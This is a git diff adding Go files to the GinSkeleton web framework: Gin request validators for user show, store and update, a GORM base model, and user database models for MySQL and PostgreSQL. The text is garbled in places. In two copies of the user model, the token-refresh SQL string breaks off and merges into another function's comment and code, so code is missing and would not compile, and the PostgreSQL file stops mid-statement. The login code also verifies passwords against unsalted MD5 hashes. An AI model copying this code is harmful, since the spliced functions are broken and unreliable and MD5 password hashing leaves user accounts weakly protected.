必须以138开头"}) + // return + //} + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(r, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserRegister表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Register(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/show.go b/GinSkeleton/app/http/validator/web/users/show.go new file mode 100644 index 0000000..7552271 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/show.go @@ -0,0 +1,35 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + common_data_type "goskeleton/app/http/validator/common/data_type" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Show struct { + // 表单参数验证结构体支持匿名结构体嵌套 + UserName string `form:"user_name" json:"user_name" binding:"required,min=1"` // 必填、对于文本,表示它的长度>=1 + common_data_type.Page +} + +// 验证器语法,参见 Register.go文件,有详细说明 +func (s Show) CheckParams(context *gin.Context) { + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&s); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(s, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserShow表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Show(extraAddBindDataContext) + } +} diff --git a/GinSkeleton/app/http/validator/web/users/store.go b/GinSkeleton/app/http/validator/web/users/store.go new file mode 100644 index 0000000..070e9e1 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/store.go @@ -0,0 +1,37 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Store struct { + BaseField + // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 + RealName string `form:"real_name" json:"real_name" binding:"required,min=2"` + Phone string `form:"phone" json:"phone" binding:"required,len=11"` + Remark string `form:"remark" json:"remark" ` +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (s Store) CheckParams(context *gin.Context) { + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&s); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(s, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserStore表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Store(extraAddBindDataContext) + } +} diff --git a/GinSkeleton/app/http/validator/web/users/update.go b/GinSkeleton/app/http/validator/web/users/update.go new file mode 100644 index 0000000..ac92a0d --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/update.go @@ -0,0 +1,38 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Update struct { + BaseField + Id + // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 + RealName string `form:"real_name" json:"real_name" binding:"required,min=2"` + Phone string `form:"phone" json:"phone" binding:"required,len=11"` + Remark string `form:"remark" json:"remark"` +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (u Update) CheckParams(context *gin.Context) { + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&u); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(u, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserUpdate表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Update(extraAddBindDataContext) + } +} diff --git a/GinSkeleton/app/model/base_model.go b/GinSkeleton/app/model/base_model.go new file mode 100644 index 0000000..261c388 --- /dev/null +++ b/GinSkeleton/app/model/base_model.go @@ -0,0 +1,71 @@ +package model + +import ( + "fmt" + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" +) + +type BaseModel struct { + *gorm.DB `gorm:"-" json:"-"` + Id int64 `gorm:"primaryKey" json:"id"` + CreatedAt string `json:"created_at"` //日期时间字段统一设置为字符串即可 + UpdatedAt string `json:"updated_at"` + //DeletedAt gorm.DeletedAt `json:"deleted_at"` // 如果开发者需要使用软删除功能,打开本行注释掉的代码即可,同时需要在数据库的所有表增加字段deleted_at 类型为 datetime +} + +func UseDbConn(sqlType string) *gorm.DB { + var db *gorm.DB + sqlType = strings.Trim(sqlType, " ") + if sqlType == "" { + sqlType = variable.ConfigGormv2Yml.GetString("Gormv2.UseDbType") + } + switch strings.ToLower(sqlType) { + case "mysql": + if variable.GormDbMysql == nil { + variable.ZapLog.Fatal(fmt.Sprintf(my_errors.ErrorsGormNotInitGlobalPointer, sqlType, sqlType)) + } + db = variable.GormDbMysql + case "sqlserver": + if variable.GormDbSqlserver == nil { + variable.ZapLog.Fatal(fmt.Sprintf(my_errors.ErrorsGormNotInitGlobalPointer, sqlType, sqlType)) + } + db = variable.GormDbSqlserver + case "postgres", "postgre", "postgresql": + if variable.GormDbPostgreSql == nil { + variable.ZapLog.Fatal(fmt.Sprintf(my_errors.ErrorsGormNotInitGlobalPointer, sqlType, sqlType)) + } + db = variable.GormDbPostgreSql + default: + variable.ZapLog.Error(my_errors.ErrorsDbDriverNotExists + sqlType) + } + return db +} + +// 在 ginskeleton项目中如果在业务 model 设置了回调函数,请看以下说明 +// 注意:gorm 的自动回调函数(BeforeCreate、BeforeUpdate 等),不是由本项目的 Create ... 函数先初始化然后调用的,而是gorm自动直接调用的, +// 所以 接收器 b 的所有参数都是没有赋值的,因此这里需要给 b.DB 赋予回调的 gormDb +// baseModel 的代码执行顺序晚于其他业务 model 的回调函数,如果回调函数名称相同,会被普通业务model的同名回调函数覆盖 +// gorm 支持的自动回调函数清单:https://github.com/go-gorm/gorm/blob/master/callbacks/interfaces.go + +//func (b *BaseModel) BeforeCreate(gormDB *gorm.DB) error { +// 第一步必须反向将 gormDB 赋值给 b.DB +// b.DB = gormDB +// 后续的代码就可以像普通业务 model 一样操作, +// b.Exec(sql,参数1,参数2,...) +// b.Raw(sql,参数1,参数2,...) +// return nil +//} + +// BeforeUpdate、BeforeSave 函数都会因为 更新类的操作而被触发 +// 如果baseModel 和 普通业务 model 都想使用回调函数,那么请设置不同的回调函数名,例如:这里设置 BeforeUpdate、普通业务model 设置 BeforeSave 即可 +//func (b *BaseModel) BeforeUpdate(gormDB *gorm.DB) error { +// 第一步必须反向将 gormDB 赋值给 b.DB +// b.DB = gormDB +// 后续的代码就可以像普通业务 model 一样操作, +// b.Exec(sql,参数1,参数2,...) +// b.Raw(sql,参数1,参数2,...) +// return nil +//} diff --git a/GinSkeleton/app/model/users.go b/GinSkeleton/app/model/users.go new file mode 100644 index 0000000..c4962fe --- /dev/null +++ b/GinSkeleton/app/model/users.go @@ -0,0 +1,301 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "time" +) + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) + +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) SELECT ?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select id, user_name,real_name,pass,phone from tb_users where user_name=? limit 1" + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := ` + INSERT INTO tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? FROM DUAL WHERE NOT EXISTS(SELECT 1 FROM tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=? ) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +//用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM tb_oauth_access_tokens WHERE fr_user_id =? and token=? and NOW()=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := "SELECT token FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from `tb_oauth_access_tokens` where `fr_user_id`=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT `id`, `user_name`,`pass`, `real_name`, `phone`, `status` FROM `tb_users` WHERE `status`=1 and id=? LIMIT 1" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := "SELECT `id`, `user_name`, `real_name`, `phone`,last_login_ip, `status`,created_at,updated_at FROM `tb_users` WHERE `status`=1 and user_name like ? LIMIT ?,?" + if res := u.Raw(sql, "%"+userName+"%", limitStart, limitItems).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +//新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +//UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +//更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +//删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + + // 删除用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := "SELECT token,expires_at FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/model/users_for_mysql.txt b/GinSkeleton/app/model/users_for_mysql.txt new file mode 100644 index 0000000..c4962fe --- /dev/null +++ b/GinSkeleton/app/model/users_for_mysql.txt @@ -0,0 +1,301 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "time" +) + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) + +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) SELECT ?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select id, user_name,real_name,pass,phone from tb_users where user_name=? limit 1" + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := ` + INSERT INTO tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? FROM DUAL WHERE NOT EXISTS(SELECT 1 FROM tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=? ) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +//用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM tb_oauth_access_tokens WHERE fr_user_id =? and token=? and NOW()=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := "SELECT token FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from `tb_oauth_access_tokens` where `fr_user_id`=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT `id`, `user_name`,`pass`, `real_name`, `phone`, `status` FROM `tb_users` WHERE `status`=1 and id=? LIMIT 1" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := "SELECT `id`, `user_name`, `real_name`, `phone`,last_login_ip, `status`,created_at,updated_at FROM `tb_users` WHERE `status`=1 and user_name like ? LIMIT ?,?" + if res := u.Raw(sql, "%"+userName+"%", limitStart, limitItems).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +//新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +//UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +//更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +//删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + + // 删除用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := "SELECT token,expires_at FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/model/users_for_postgres.txt b/GinSkeleton/app/model/users_for_postgres.txt new file mode 100644 index 0000000..204a59c --- /dev/null +++ b/GinSkeleton/app/model/users_for_postgres.txt @@ -0,0 +1,312 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "strconv" + "time" +) + +// 本文件针对 postgresql 数据库有效,请手动使用本文件的所有代码替换同目录的 users.go 中的所有代码即可 +// 针对数据库选型为 postgresql 的开发者使用 + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// TableName 表名 +func (u *UsersModel) TableName() string { + return "web.tb_users" +} + +// Register 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO web.tb_users(user_name,pass,last_login_ip) SELECT ?,?,? WHERE NOT EXISTS (SELECT 1 FROM web.tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// Login 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select id, user_name,real_name,pass,phone from web.tb_users where user_name=? limit 1" + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +// OauthLoginToken 记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := `INSERT INTO web.tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? WHERE NOT EXISTS(SELECT 1 FROM web.tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=?) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +// OauthRefreshConditionCheck 用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM web.tb_oauth_access_tokens WHERE fr_user_id =? and token=? and NOW() < (expires_at 